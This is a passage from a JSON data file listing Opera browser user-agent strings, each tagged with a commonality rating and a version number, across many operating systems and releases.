Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A37f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.110129\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.72 Safari\\/537.36 OPR\\/15.0.1147.148\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; Edition Linux Mint) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X; U; en) Presto\\/2.2.15 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/34.0.2036.47\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; Opera TV\\/14) Presto\\/2.11.355 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.8 Safari\\/537.36 OPR\\/40.0.2301.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/12.0(Windows NT 5.1;U;en)Presto\\/22.9.168 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.49 Safari\\/537.36 OPR\\/48.0.2685.7\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.137\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1889.163\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Opera\\/7.60 (Windows NT 5.2; U)  [en] (IBM EVV\\/3.0\\/EAK01AG9\\/LE)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; A1601 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.112031\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.20 Safari\\/537.36  OPR\\/15.0.1147.18 (Edition Next)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 7 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows Mobile; WCE; Opera Mobi\\/WMD-50433; U; en) Presto\\/2.4.13 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36 OPR\\/35.0.2066.68\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.63 (Windows NT 6.0; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2114.2 Safari\\/537.36 OPR\\/25.0.1597.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.76 Safari\\/537.36 OPR\\/16.0.1196.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.21 Safari\\/537.36 OPR\\/40.0.2306.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.75\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.59\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ru) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; U; en) Presto\\/2.8.99 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 